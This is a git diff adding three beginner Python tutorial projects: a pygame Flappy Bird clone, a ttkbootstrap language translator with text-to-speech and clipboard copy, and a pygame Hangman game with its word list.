+		# bird animation
+		self.bird_img = import_sprite("assets/bird")
+		self.image = self.bird_img[self.frame_index]
+		self.image = pygame.transform.scale(self.image, (size, size))
+		self.rect = self.image.get_rect(topleft = pos)
+		self.mask = pygame.mask.from_surface(self.image)
+
+		# bird status
+		self.direction = pygame.math.Vector2(0, 0)
+		self.score = 0
+
+	# for bird's flying animation
+	def _animate(self):
+		sprites = self.bird_img
+		sprite_index = (self.frame_index // self.animation_delay) % len(sprites)
+		self.image = sprites[sprite_index]
+		self.frame_index += 1
+		self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y))
+		self.mask = pygame.mask.from_surface(self.image)
+		if self.frame_index // self.animation_delay > len(sprites):
+			self.frame_index = 0
+
+	# to make the bird fly higher
+	def _jump(self):
+		self.direction.y = self.jump_move
+
+	# updates the bird's overall state
+	def update(self, is_jump):
+		if is_jump:
+			self._jump()
+		self._animate()
\ No newline at end of file
diff --git a/gui-programming/flappy-bird-game/game.py b/gui-programming/flappy-bird-game/game.py
new file mode 100644
index 00000000..d2d7e622
--- /dev/null
+++ b/gui-programming/flappy-bird-game/game.py
@@ -0,0 +1,25 @@
+import pygame
+from settings import WIDTH, HEIGHT
+
+pygame.font.init()
+
+class GameIndicator:
+	def __init__(self, screen):
+		self.screen = screen
+		self.font = pygame.font.SysFont('Bauhaus 93', 60)
+		self.inst_font = pygame.font.SysFont('Bauhaus 93', 30)
+		self.color = pygame.Color("white")
+		self.inst_color = pygame.Color("black")
+
+	def show_score(self, int_score):
+		bird_score = str(int_score)
+		score = self.font.render(bird_score, True, self.color)
+		self.screen.blit(score, (WIDTH // 2, 50))
+
+	def instructions(self):
+		inst_text1 = "Press SPACE button to Jump,"
+		inst_text2 = "Press \"R\" Button to Restart Game."
+		ins1 = self.inst_font.render(inst_text1, True, self.inst_color)
+		ins2 = self.inst_font.render(inst_text2, True, self.inst_color)
+		self.screen.blit(ins1, (95, 400))
+		self.screen.blit(ins2, (70, 450))
diff --git a/gui-programming/flappy-bird-game/main.py b/gui-programming/flappy-bird-game/main.py
new file mode 100644
index 00000000..61e68c60
--- /dev/null
+++ b/gui-programming/flappy-bird-game/main.py
@@ -0,0 +1,53 @@
+import pygame, sys
+from settings import WIDTH, HEIGHT, ground_space
+from world import World
+
+pygame.init()
+
+screen = pygame.display.set_mode((WIDTH, HEIGHT + ground_space))
+pygame.display.set_caption("Flappy Bird")
+
+class Main:
+	def __init__(self, screen):
+		self.screen = screen
+		self.bg_img = pygame.image.load('assets/terrain/bg.png')
+		self.bg_img = pygame.transform.scale(self.bg_img, (WIDTH, HEIGHT))
+		self.ground_img = pygame.image.load('assets/terrain/ground.png')
+		self.ground_scroll = 0
+		self.scroll_speed = -6
+		self.FPS = pygame.time.Clock()
+		self.stop_ground_scroll = False
+
+	def main(self):
+		world = World(screen)
+		while True:
+			self.stop_ground_scroll = world.game_over
+			self.screen.blit(self.bg_img, (0, 0))
+
+			for event in pygame.event.get():
+				if event.type == pygame.QUIT:
+					pygame.quit()
+					sys.exit()
+
+				elif event.type == pygame.KEYDOWN:
+					if not world.playing and not world.game_over:
+						world.playing = True
+					if event.key == pygame.K_SPACE:
+						world.update("jump")
+					if event.key == pygame.K_r:
+						world.update("restart")
+
+			world.update()
+
+			self.screen.blit(self.ground_img, (self.ground_scroll, HEIGHT))
+			if not self.stop_ground_scroll:
+				self.ground_scroll += self.scroll_speed
+				if abs(self.ground_scroll) > 35:
+					self.ground_scroll = 0
+
+			pygame.display.update()
+			self.FPS.tick(60)
+
+if __name__ == "__main__":
+	play = Main(screen)
+	play.main()
diff --git a/gui-programming/flappy-bird-game/pipe.py b/gui-programming/flappy-bird-game/pipe.py
new file mode 100644
index 00000000..a66a959b
--- /dev/null
+++ b/gui-programming/flappy-bird-game/pipe.py
@@ -0,0 +1,21 @@
+import pygame
+
+class Pipe(pygame.sprite.Sprite):
+	def __init__(self, pos, width, height, flip):
+		super().__init__()
+		self.width = width
+		img_path = 'assets/terrain/pipe.png'
+		self.image = pygame.image.load(img_path)
+		self.image = pygame.transform.scale(self.image, (width, height))
+		if flip:
+			flipped_image = pygame.transform.flip(self.image, False, True)
+			self.image = flipped_image
+		self.rect = self.image.get_rect(topleft = pos)
+
+	# update object position due to world scroll
+	def update(self, x_shift):
+		self.rect.x += x_shift
+
+		# removes the pipe in the game screen once it is not shown in the screen anymore
+		if self.rect.right < (-self.width):
+			self.kill()
\ No newline at end of file
diff --git a/gui-programming/flappy-bird-game/requirements.txt b/gui-programming/flappy-bird-game/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/flappy-bird-game/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/flappy-bird-game/settings.py b/gui-programming/flappy-bird-game/settings.py
new file mode 100644
index 00000000..2c5eb460
--- /dev/null
+++ b/gui-programming/flappy-bird-game/settings.py
@@ -0,0 +1,26 @@
+from os import walk
+import pygame
+
+WIDTH, HEIGHT = 600, 650
+
+pipe_pair_sizes = [
+	(1, 7),
+	(2, 6),
+	(3, 5),
+	(4, 4),
+	(5, 3),
+	(6, 2),
+	(7, 1)
+]
+pipe_size = HEIGHT // 10
+pipe_gap = (pipe_size * 2) + (pipe_size // 2)
+ground_space = 50
+
+def import_sprite(path):
+	surface_list = []
+	for _, __, img_file in walk(path):
+		for image in img_file:
+			full_path = f"{path}/{image}"
+			img_surface = pygame.image.load(full_path).convert_alpha()
+			surface_list.append(img_surface)
+	return surface_list
\ No newline at end of file
diff --git a/gui-programming/flappy-bird-game/world.py b/gui-programming/flappy-bird-game/world.py
new file mode 100644
index 00000000..36bf131f
--- /dev/null
+++ b/gui-programming/flappy-bird-game/world.py
@@ -0,0 +1,101 @@
+import pygame
+from pipe import Pipe
+from bird import Bird
+from game import GameIndicator
+from settings import WIDTH, HEIGHT, pipe_size, pipe_gap, pipe_pair_sizes
+import random
+
+class World:
+	def __init__(self, screen):
+		self.screen = screen
+		self.world_shift = 0
+		self.current_x = 0
+		self.gravity = 0.5
+		self.current_pipe = None
+		self.pipes = pygame.sprite.Group()
+		self.player = pygame.sprite.GroupSingle()
+		self._generate_world()
+		self.playing = False
+		self.game_over = False
+		self.passed = True
+		self.game = GameIndicator(screen)
+
+	# creates the player and the obstacle
+	def _generate_world(self):
+		self._add_pipe()
+		bird = Bird((WIDTH//2 - pipe_size, HEIGHT//2 - pipe_size), 30)
+		self.player.add(bird)
+
+	# adds pipe once the last pipe added reached the desired pipe horizontal spaces
+	def _add_pipe(self):
+		pipe_pair_size = random.choice(pipe_pair_sizes)
+		top_pipe_height, bottom_pipe_height = pipe_pair_size[0] * pipe_size, pipe_pair_size[1] * pipe_size
+
+		pipe_top = Pipe((WIDTH, 0 - (bottom_pipe_height + pipe_gap)), pipe_size, HEIGHT, True)
+		pipe_bottom = Pipe((WIDTH, top_pipe_height + pipe_gap), pipe_size, HEIGHT, False)
+		self.pipes.add(pipe_top)
+		self.pipes.add(pipe_bottom)
+		self.current_pipe = pipe_top
+
+	# for moving background/obstacle
+	def _scroll_x(self):
+		if self.playing:
+			self.world_shift = -6
+		else:
+			self.world_shift = 0
+
+	# add gravity to bird for falling
+	def _apply_gravity(self, player):
+		if self.playing or self.game_over:
+			player.direction.y += self.gravity
+			player.rect.y += player.direction.y
+
+	# handles scoring and collision
+	def _handle_collisions(self):
+		bird = self.player.sprite
+		# for collision checking
+		if pygame.sprite.groupcollide(self.player, self.pipes, False, False) or bird.rect.bottom >= HEIGHT or bird.rect.top <= 0:
+			self.playing = False
+			self.game_over = True
+		else:
+			# if player pass through the pipe gaps
+			bird = self.player.sprite
+			if bird.rect.x >= self.current_pipe.rect.centerx:
+				bird.score += 1
+				self.passed = True
+
+	# updates the bird's overall state
+	def update(self, player_event = None):
+		# new pipe adder
+		if self.current_pipe.rect.centerx  <= (WIDTH // 2) - pipe_size:
+			self._add_pipe()
+		
+		# updates, draws pipes
+		self.pipes.update(self.world_shift)
+		self.pipes.draw(self.screen)
+
+		# applying game physics
+		self._apply_gravity(self.player.sprite)
+		self._scroll_x()
+		self._handle_collisions()
+
+		# configuring player actions
+		if player_event == "jump" and not self.game_over:
+			player_event = True
+		elif player_event == "restart":
+			self.game_over = False
+			self.pipes.empty()
+			self.player.empty()
+			self.player.score = 0
+			self._generate_world()
+		else:
+			player_event = False
+
+		if not self.playing:
+			self.game.instructions()
+
+		# updates, draws pipes
+		self.player.update(player_event)
+		self.player.draw(self.screen)
+
+		self.game.show_score(self.player.sprite.score)
\ No newline at end of file
diff --git a/gui-programming/gui-language-translator/README.md b/gui-programming/gui-language-translator/README.md
new file mode 100644
index 00000000..19f8235e
--- /dev/null
+++ b/gui-programming/gui-language-translator/README.md
@@ -0,0 +1 @@
+# [How to Build a GUI Language Translator App in Python](https://www.thepythoncode.com/article/build-a-gui-language-translator-tkinter-python)
\ No newline at end of file
diff --git a/gui-programming/gui-language-translator/arrows.png b/gui-programming/gui-language-translator/arrows.png
new file mode 100644
index 00000000..5b7a761a
Binary files /dev/null and b/gui-programming/gui-language-translator/arrows.png differ
diff --git a/gui-programming/gui-language-translator/copy.png b/gui-programming/gui-language-translator/copy.png
new file mode 100644
index 00000000..faa7561f
Binary files /dev/null and b/gui-programming/gui-language-translator/copy.png differ
diff --git a/gui-programming/gui-language-translator/gui-language-translator.py b/gui-programming/gui-language-translator/gui-language-translator.py
new file mode 100644
index 00000000..9ba72784
--- /dev/null
+++ b/gui-programming/gui-language-translator/gui-language-translator.py
@@ -0,0 +1,135 @@
+import ttkbootstrap as ttk
+from ttkbootstrap.scrolled import ScrolledText
+from ttkbootstrap.toast import ToastNotification
+from tkinter.messagebox import showerror
+import googletrans
+from googletrans import Translator
+import pyttsx3
+import pyperclip
+
+translator = Translator()
+
+engine = pyttsx3.init()
+
+
+class LanguageTranslator:
+    def __init__(self, master):
+        self.master = master
+        # calling the UI method in the constructor
+        self.MainWindow()
+        # calling the Widgets method in the constructor
+        self.Widgets()
+
+
+    def MainWindow(self):
+        self.master.geometry('600x430+300+150')
+        self.master.title('Language Translator')
+        self.master.resizable(width = 0, height = 0)
+        # setting the icon for the application
+        icon = ttk.PhotoImage(file='icon.png')
+        self.master.iconphoto(False, icon)
+
+
+    def Widgets(self):
+        # the canvas for containing the other widgets
+        self.canvas = ttk.Canvas(self.master, width = 600, height = 400)
+        self.canvas.pack()
+        # the logo for the application
+        self.logo = ttk.PhotoImage(file='logo.png').subsample(5, 5)
+        self.canvas.create_image(75, 70, image = self.logo)
+        # getting all the languages 
+        language_data = googletrans.LANGUAGES
+        # getting all the language values using the values() function
+        language_values = language_data.values()
+        # converting the languages to a list
+        languages = list(language_values)
+        # first combobox for the source language
+        self.from_language = ttk.Combobox(self.canvas, width = 36, bootstyle = 'primary', values = languages)
+        self.from_language.current(0)
+        self.canvas.create_window(150, 140, window = self.from_language)
+        # loading the arrow icon
+        self.arrow_icon = ttk.PhotoImage(file='arrows.png')
+        self.resized_icon = self.arrow_icon.subsample(15, 15)
+        self.image_label = ttk.Label(self.master, image = self.resized_icon)
+        self.canvas.create_window(300, 140, window = self.image_label)
+        # the second combobox for the destination language
+        self.to_language = ttk.Combobox(self.canvas, width = 36, bootstyle = 'primary', values = languages)
+        self.to_language.current(21)
+        self.canvas.create_window(450, 140, window = self.to_language)
+        # scrollable text for entering input
+        self.from_text = ScrolledText(self.master, font=("Dotum", 10), width = 30, height = 10)
+        self.canvas.create_window(150, 250, window = self.from_text)
+        # scrollable text for output
+        self.to_text = ScrolledText(self.master, font=("Dotum", 10), width = 30, height = 10)
+        self.canvas.create_window(450, 250, window = self.to_text)
+        # loading icons
+        self.speaker_icon = ttk.PhotoImage(file = 'speaker.png').subsample(5, 4)
+        self.copy_icon = ttk.PhotoImage(file = 'copy.png').subsample(5, 4)
+        self.speak_button = ttk.Button(self.master, image = self.speaker_icon, bootstyle='secondary', state=ttk.DISABLED, command = self.speak)
+        self.canvas.create_window(355, 355, window = self.speak_button)
+        self.copy_button = ttk.Button(self.master, image = self.copy_icon, bootstyle='secondary', state=ttk.DISABLED, command = self.copy_to_clipboard)
+        self.canvas.create_window(395, 355, window = self.copy_button)
+        self.translate_button = ttk.Button(self.master, text = 'Translate', width = 20, bootstyle = 'primary', command = self.translate)
+        self.canvas.create_window(300, 400, window = self.translate_button)
+
+    def translate(self):
+        try:
+            # getting source language from first combobox via get() 
+            self.source_language = self.from_language.get()
+            # getting destination language from first combobox via get() 
+            self.destination_language = self.to_language.get()
+            # getting every content fronm the first scrolledtext
+            self.text = self.from_text.get(1.0, ttk.END)
+            # translating the language
+            self.translation = translator.translate(self.text, src=self.source_language, dest=self.destination_language)
+            # clearing the second scrolledtext
+            self.to_text.delete(1.0, ttk.END)
+            # inserting translation output in the second scroledtext  
+            self.to_text.insert(ttk.END, self.translation.text)
+            # activating the speak_button
+            self.speak_button.configure(state = ttk.ACTIVE)
+            # activating the copy_button 
+            self.copy_button.configure(state = ttk.ACTIVE)
+        # handle TypeError using except
+        except TypeError as e:
+            showerror(title='Invalid Input', message='Make sure you have entered valid input!') 
+        # handle connection errors
+        except Exception as e:
+            showerror(title='Connection Error', message='Make sure you have internet connection!')
+
+    def speak(self):
+        # getting every content from the second scrolledtext
+        self.text = self.to_text.get(1.0, ttk.END)
+        # gets the speaking rate
+        rate = engine.getProperty('rate')
+        # setting the speaking rate
+        engine.setProperty('rate', 125)
+        # getting the available voices
+        voices = engine.getProperty('voices')
+        # setting the second voice, the female voice
+        engine.setProperty('voice', voices[1].id)
+        # saying the translated text
+        engine.say(self.text)
+        # running the speech
+        engine.runAndWait()
+
+    def copy_to_clipboard(self):
+        # this will create a toast notification object
+        toast = ToastNotification(
+            title='Clip Board',
+            message='Text has been copied to clip board!',
+            duration=3000,
+        )
+        # this will show the notification
+        toast.show_toast()
+        # getting all the content from the second scrolledtext
+        self.text = self.to_text.get(1.0, ttk.END)
+        # copy to clip board
+        pyperclip.copy(self.text)
+           
+
+
+root = ttk.Window(themename="cosmo")
+application = LanguageTranslator(root)
+root.mainloop()
+
diff --git a/gui-programming/gui-language-translator/icon.png b/gui-programming/gui-language-translator/icon.png
new file mode 100644
index 00000000..b96f71a1
Binary files /dev/null and b/gui-programming/gui-language-translator/icon.png differ
diff --git a/gui-programming/gui-language-translator/img001.webp b/gui-programming/gui-language-translator/img001.webp
new file mode 100644
index 00000000..3cca4ed5
Binary files /dev/null and b/gui-programming/gui-language-translator/img001.webp differ
diff --git a/gui-programming/gui-language-translator/logo.png b/gui-programming/gui-language-translator/logo.png
new file mode 100644
index 00000000..2b54618b
Binary files /dev/null and b/gui-programming/gui-language-translator/logo.png differ
diff --git a/gui-programming/gui-language-translator/requirements.txt b/gui-programming/gui-language-translator/requirements.txt
new file mode 100644
index 00000000..7fcd330c
--- /dev/null
+++ b/gui-programming/gui-language-translator/requirements.txt
@@ -0,0 +1,4 @@
+ttkbootstrap
+googletrans==3.1.0a0
+pyttsx3
+pyperclip
\ No newline at end of file
diff --git a/gui-programming/gui-language-translator/speaker.png b/gui-programming/gui-language-translator/speaker.png
new file mode 100644
index 00000000..c7de8f94
Binary files /dev/null and b/gui-programming/gui-language-translator/speaker.png differ
diff --git a/gui-programming/hangman-game-gui/README.md b/gui-programming/hangman-game-gui/README.md
new file mode 100644
index 00000000..008b7f46
--- /dev/null
+++ b/gui-programming/hangman-game-gui/README.md
@@ -0,0 +1 @@
+# [How to Create a GUI Hangman Game using PyGame in Python](https://www.thepythoncode.com/article/hangman-gui-game-with-pygame-in-python)
\ No newline at end of file
diff --git a/gui-programming/hangman-game-gui/hangman.py b/gui-programming/hangman-game-gui/hangman.py
new file mode 100644
index 00000000..1763c3bd
--- /dev/null
+++ b/gui-programming/hangman-game-gui/hangman.py
@@ -0,0 +1,137 @@
+import pygame
+from pygame.locals import *
+import random
+from string import ascii_letters
+
+pygame.init()
+pygame.font.init()
+
+screen = pygame.display.set_mode((400, 500))
+pygame.display.set_caption("Hangman")
+
+class Hangman():
+    def __init__(self):
+        with open("./words.txt", "r") as file:
+            # picks secret word
+            words = file.read().split("\n")
+            self.secret_word = random.choice(words)
+            # passing secret word's length for making letter blanks
+            self.guessed_word = "*" * len(self.secret_word)
+        self.wrong_guesses = []
+        self.wrong_guess_count = 0
+        self.taking_guess = True
+        self.running = True
+
+        self.background_color = (155, 120, 70)
+        self.gallow_color = (0,0,0)
+        self.body_color = (255,253,175)
+
+        self.font = pygame.font.SysFont("Courier New", 20)
+        self.FPS = pygame.time.Clock()
+
+
+    # draws the gallow
+    def _gallow(self):
+        stand = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(75, 280, 120, 10))
+        body = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(128, 40, 10, 240))
+        hanger = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(128, 40, 80, 10))
+        rope = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(205, 40,10, 30))
+
+
+    # draw man's body parts for every wrong guess
+    def _man_pieces(self):
+        if self.wrong_guess_count == 1:
+            head = pygame.draw.circle(screen, self.body_color, [210, 85], 20, 0)
+        elif self.wrong_guess_count == 2:
+            body = pygame.draw.rect(screen, self.body_color, pygame.Rect(206, 105, 8, 45))
+        elif self.wrong_guess_count == 3:
+            r_arm = pygame.draw.line(screen, self.body_color, [183, 149], [200, 107], 6)
+        elif self.wrong_guess_count == 4:
+            l_arm = pygame.draw.line(screen, self.body_color, [231, 149], [218, 107], 6),
+        elif self.wrong_guess_count == 5:
+            r_leg = pygame.draw.line(screen, self.body_color, [189, 198], [208, 148], 6),
+        elif self.wrong_guess_count == 6:
+            l_leg = pygame.draw.line(screen, self.body_color, [224, 198], [210, 148], 6)
+
+
+    def _right_guess(self, guess_letter):
+        index_positions = [index for index, item in enumerate(self.secret_word) if item == guess_letter]
+        for i in index_positions:
+            self.guessed_word = self.guessed_word[0:i] + guess_letter + self.guessed_word[i+1:]
+        # stacks a layer of color on guessed word to hide multiple guessed_word stack
+        screen.fill(pygame.Color(self.background_color), (10, 370, 390, 20))
+
+
+    def _wrong_guess(self, guess_letter):
+        self.wrong_guesses.append(guess_letter)
+        self.wrong_guess_count += 1
+        self._man_pieces()
+
+
+    def _guess_taker(self, guess_letter):
+        if guess_letter in ascii_letters:
+            if guess_letter in self.secret_word and guess_letter not in self.guessed_word:
+                self._right_guess(guess_letter)
+            elif guess_letter not in self.secret_word and guess_letter not in self.wrong_guesses:
+                self._wrong_guess(guess_letter)
+
+
+    def _message(self):
+        # win situation
+        if self.guessed_word == self.secret_word:
+            self.taking_guess = False
+            screen.fill(pygame.Color(0,0,79), (40, 218, 320, 30))
+            message = self.font.render("YOU WIN!!", True, (255,235,0))
+            screen.blit(message,(152,224))
+
+        # lose situation
+        elif self.wrong_guess_count == 6:
+            self.taking_guess = False
+            screen.fill(pygame.Color("grey"), (40, 218, 320, 30))
+            message = self.font.render("GAME OVER YOU LOSE!!", True, (150,0,10))
+            screen.blit(message,(78,224))
+            # shows the secret word if the player lose
+            word = self.font.render(f"secret word: {self.secret_word}", True, (255,255,255))
+            screen.blit(word,(10,300))
+
+        # removes the instruction message if not taking guesses anymore
+        if not self.taking_guess:
+            screen.fill(pygame.Color(self.background_color), (35, 460, 390, 20))
+
+
+    def main(self):
+        # game's main components (no need to update)
+        screen.fill(self.background_color)
+        self._gallow()
+        instructions = self.font.render('Press any key to take Guess', True, (9,255,78))
+        screen.blit(instructions,(35,460))
+
+        while self.running:
+            # shows the guessed word in the game window
+            guessed_word = self.font.render(f"guessed word: {self.guessed_word}", True, (0,0,138))
+            screen.blit(guessed_word,(10,370))
+            # shows the wrong guesses in the game window
+            wrong_guesses = self.font.render(f"wrong guesses: {' '.join(map(str, self.wrong_guesses))}", True, (125,0,0))
+            screen.blit(wrong_guesses,(10,420))
+
+            # checking game state
+            self._message()
+        
+            for self.event in pygame.event.get():
+                if self.event.type == pygame.QUIT:
+                    self.running = False
+
+                # manages keys pressed
+                elif self.event.type == pygame.KEYDOWN:
+                    if self.taking_guess:
+                        self._guess_taker(self.event.unicode)
+
+            pygame.display.flip()
+            self.FPS.tick(60)
+
+        pygame.quit()
+
+
+if __name__ =="__main__":
+    h = Hangman()
+    h.main()
diff --git a/gui-programming/hangman-game-gui/words.txt b/gui-programming/hangman-game-gui/words.txt
new file mode 100644
index 00000000..52587ee4
--- /dev/null
+++ b/gui-programming/hangman-game-gui/words.txt
@@ -0,0 +1,2095 @@
+able
+about
+abruptly
+absurd
+abyss
+account
+acid
+across
+act
+addition
+adjustment
+advertisement
+affix
+after
+again
+against
+agreement
+air
+all
+almost
+among
+amount
+amusement
+and
+android
+angle
+angry
+animal
+answer
+ant
+any
+apparatus
+apple
+approval
+arch
+argument
+arm
+army
+art
+askew
+attack
+attempt
+attention
+attraction
+authority
+automatic
+avenue
+awake
+awkward
+axiom
+azure
+baby
+back
+bad
+bag
+bagpipes
+balance
+ball
+band
+bandwagon
+banjo
+base
+basin
+basket
+bath
+bayou
+beautiful
+because
+bed
+bee
+beekeeper
+before
+behaviour
+belief
+bell
+bent
+bernhard
+berry
+between
+bikini
+bird
+birth
+bit
+bite
+bitter
+black
+blade
+blitz
+blizzard
+blood
+blow
+blue
+board
+boat
+body
+boggle
+boiling
+bone
+book
+bookworm
+boot
+bottle
+box
+boxcar
+boxful
+boy
+brain
+brake
+branch
+brass
+bread
+breath
+breytenbach
+brick
+bridge
+bright
+broken
+brother
+brown
+brush
+buckaroo
+bucket
+buffalo
+buffoon
+building
+bulb
+burn
+burst
+business
+but
+butter
+button
+buxom
+buzzard
+buzzing
+buzzwords
+cake
+caliph
+camera
+canvas
+card
+care
+carriage
+cart
+cat
+cause
+certain
+chain
+chalk
+chance
+change
+cheap
+cheese
+chemical
+chest
+chief
+chin
+church
+circle
+clean
+clear
+clock
+cloth
+cloud
+coal
+coat
+cobweb
+cockiness
+cold
+collar
+colour
+comb
+come
+comfort
+committee
+common
+company
+comparison
+competition
+complete
+complex
+condition
+connection
+conscious
+control
+cook
+copper
+copy
+cord
+cork
+cotton
+cough
+country
+cover
+cow
+crack
+credit
+crime
+croquet
+cruel
+crush
+cry
+crypt
+cup
+cup
+curacao
+current
+curtain
+curve
+cushion
+cycle
+daiquiri
+damage
+danger
+dark
+daughter
+day
+dead
+dear
+death
+debt
+decision
+deep
+degree
+delicate
+dependent
+design
+desire
+destruction
+detail
+development
+different
+digestion
+direction
+dirndl
+dirty
+disavow
+discovery
+discussion
+disease
+disgust
+distance
+distribution
+division
+dizzying
+dog
+door
+doubt
+down
+drain
+drawer
+dress
+drink
+driving
+drop
+dry
+duplex
+dust
+dwarves
+ear
+early
+earth
+east
+edge
+education
+effect
+egg
+elastic
+electric
+embezzle
+end
+engine
+enough
+equal
+equip
+error
+espionage
+euouae
+even
+event
+ever
+every
+example
+exchange
+existence
+exodus
+expansion
+experience
+expert
+eye
+face
+fact
+faking
+fall
+false
+family
+far
+farm
+fat
+father
+fear
+feather
+feeble
+feeling
+female
+fertile
+fiction
+field
+fight
+finger
+fire
+first
+fish
+fishhook
+fixable
+fixed
+fjord
+flag
+flame
+flapjack
+flat
+flight
+floor
+flopping
+flower
+fluffiness
+fly
+flyby
+fold
+food
+foolish
+foot
+for
+force
+fork
+form
+forward
+fowl
+foxglove
+frame
+frazzled
+free
+frequent
+friend
+frizzled
+from
+front
+fruit
+fuchsia
+full
+funny
+future
+gabby
+galaxy
+galvanize
+garden
+gazebo
+general
+get
+giaour
+girl
+give
+gizmo
+glass
+glove
+glowworm
+glyph
+gnarly
+gnostic
+goat
+gold
+good
+gossip
+government
+grain
+grass
+great
+green
+grey
+grip
+grogginess
+group
+growth
+guide
+gun
+haiku
+hair
+hammer
+hand
+hanging
+haphazard
+happy
+harbour
+hard
+harmony
+hat
+hate
+have
+head
+healthy
+hear
+hearing
+heart
+heat
+help
+high
+history
+hole
+hollow
+hook
+hope
+horn
+horse
+hospital
+hour
+house
+how
+humour
+hyphen
+iatrogenic
+ice
+icebox
+idea
+ill
+important
+impulse
+increase
+industry
+injury
+ink
+insect
+instrument
+insurance
+interest
+invention
+iron
+island
+ivory
+ivy
+jackpot
+jaundice
+jawbreaker
+jaywalk
+jazziest
+jazzy
+jelly
+jelly
+jewel
+jigsaw
+jinx
+jiujitsu
+jockey
+jogging
+join
+joking
+journey
+jovial
+joyful
+judge
+juicy
+jukebox
+jumbo
+jump
+kayak
+kazoo
+keep
+kettle
+key
+keyhole
+khaki
+kick
+kilobyte
+kind
+kiosk
+kiss
+kitsch
+kiwifruit
+klutz
+knapsack
+knee
+knife
+knot
+knowledge
+land
+language
+larynx
+last
+late
+laugh
+law
+lead
+leaf
+learning
+leather
+left
+leg
+lengths
+let
+letter
+level
+library
+lift
+light
+like
+limit
+line
+linen
+lip
+liquid
+list
+little
+living
+lock
+long
+look
+loose
+loss
+loud
+love
+low
+lucky
+luxury
+lymph
+machine
+make
+male
+man
+manager
+map
+mark
+market
+marquis
+married
+mass
+match
+material
+matrix
+may
+meal
+measure
+meat
+medical
+meeting
+megahertz
+memory
+metal
+microwave
+middle
+military
+milk
+mind
+mine
+minute
+mist
+mixed
+mnemonic
+money
+monkey
+month
+moon
+morning
+mother
+motion
+mountain
+mouth
+move
+much
+muscle
+music
+mystify
+nail
+name
+naphtha
+narrow
+nation
+natural
+near
+necessary
+neck
+need
+needle
+nerve
+net
+new
+news
+night
+nightclub
+noise
+normal
+north
+nose
+not
+note
+now
+nowadays
+number
+numbskull
+nut
+nymph
+observation
+off
+offer
+office
+oil
+old
+only
+onyx
+open
+operation
+opinion
+opposite
+orange
+order
+organization
+ornament
+other
+out
+ovary
+oven
+over
+owner
+oxidize
+oxygen
+page
+pain
+paint
+pajama
+paper
+parallel
+parcel
+part
+past
+paste
+payment
+peace
+peekaboo
+pen
+pencil
+person
+phlegm
+physical
+picture
+pig
+pin
+pipe
+pixel
+pizazz
+place
+plane
+plant
+plate
+play
+please
+pleasure
+plough
+pneumonia
+pocket
+point
+poison
+polish
+political
+polka
+poor
+porter
+position
+possible
+pot
+potato
+powder
+power
+present
+price
+print
+prison
+private
+probable
+process
+produce
+profit
+property
+prose
+protest
+pshaw
+psyche
+public
+pull
+pump
+punishment
+puppy
+purpose
+push
+put
+puzzling
+quality
+quartz
+question
+queue
+quick
+quiet
+quips
+quite
+quixotic
+quiz
+quizzes
+quorum
+rail
+rain
+range
+rat
+rate
+ray
+razzmatazz
+reaction
+reading
+ready
+reason
+receipt
+record
+red
+regret
+regular
+relation
+religion
+representative
+request
+respect
+responsible
+rest
+reward
+rhubarb
+rhythm
+rhythm
+rice
+rickshaw
+right
+ring
+river
+road
+rod
+roll
+roof
+room
+root
+rough
+round
+rub
+rule
+run
+sad
+safe
+sail
+salt
+same
+sand
+say
+scale
+schnapps
+school
+science
+scissors
+scratch
+screw
+sea
+seat
+second
+secret
+secretary
+see
+seed
+seem
+selection
+self
+send
+sense
+separate
+serious
+servant
+sex
+shade
+shake
+shame
+sharp
+sheep
+shelf
+ship
+shirt
+shiv
+shock
+shoe
+short
+shut
+side
+sign
+silk
+silver
+simple
+sister
+size
+skin
+skirt
+sky
+sleep
+slip
+slope
+slow
+small
+smash
+smell
+smile
+smoke
+smooth
+snake
+snazzy
+sneeze
+snow
+soap
+society
+sock
+soft
+solid
+some
+son
+song
+sort
+sound
+soup
+south
+space
+spade
+special
+sphinx
+sponge
+spoon
+spring
+spritz
+square
+squawk
+staff
+stage
+stamp
+star
+start
+statement
+station
+steam
+steel
+stem
+step
+stick
+sticky
+stiff
+still
+stitch
+stocking
+stomach
+stone
+stop
+store
+story
+straight
+strange
+street
+strength
+strengths
+stretch
+stretch
+strong
+stronghold
+structure
+stymied
+substance
+subway
+such
+sudden
+sugar
+suggestion
+summer
+sun
+support
+surprise
+sweet
+swim
+swivel
+syndrome
+system
+table
+tail
+take
+talk
+tall
+taste
+tax
+teaching
+tendency
+test
+than
+that
+the
+then
+theory
+there
+thick
+thin
+thing
+this
+thought
+thread
+thriftless
+throat
+through
+through
+thumb
+thumbscrew
+thunder
+ticket
+tight
+till
+time
+tin
+tired
+toe
+together
+tomorrow
+tongue
+tooth
+top
+topaz
+touch
+town
+trade
+train
+transcript
+transgress
+transplant
+transport
+tray
+tree
+trick
+triphthong
+trouble
+trousers
+true
+turn
+twelfth
+twelfths
+twist
+umbrella
+under
+unit
+unknown
+unworthy
+unzip
+uptown
+use
+value
+vaporize
+verse
+very
+vessel
+view
+violent
+vixen
+vodka
+voice
+voodoo
+vortex
+voyeurism
+waiting
+walk
+walkway
+wall
+waltz
+war
+warm
+wash
+waste
+watch
+water
+wave
+wave
+wavy
+wax
+waxy
+way
+weather
+week
+weight
+well
+wellspring
+west
+wet
+wheel
+wheezy
+when
+where
+while
+whip
+whiskey
+whistle
+white
+whizzing
+who
+whomever
+why
+wide
+will
+wimpy
+wind
+window
+wine
+wing
+winter
+wire
+wise
+witchcraft
+with
+wizard
+woman
+wood
+wool
+woozy
+word
+work
+worm
+wound
+wristwatch
+writing
+wrong
+wyvern
+xylophone
+yachtsman
+year
+yellow
+yes
+yesterday
+yippee
+yoked
+you
+young
+youthful
+yummy
+zephyr
+zigzag
+zigzagging
+zilch
+zipper
+zodiac
+zombieable
+about
+abruptly
+absurd
+abyss
+account
+acid
+across
+act
+addition
+adjustment
+advertisement
+affix
+after
+again
+against
+agreement
+air
+all
+almost
+among
+amount
+amusement
+and
+android
+angle
+angry
+animal
+answer
+ant
+any
+apparatus
+apple
+approval
+arch
+argument
+arm
+army
+art
+askew
+attack
+attempt
+attention
+attraction
+authority
+automatic
+avenue
+awake
+awkward
+axiom
+azure
+baby
+back
+bad
+bag
+bagpipes
+balance
+ball
+band
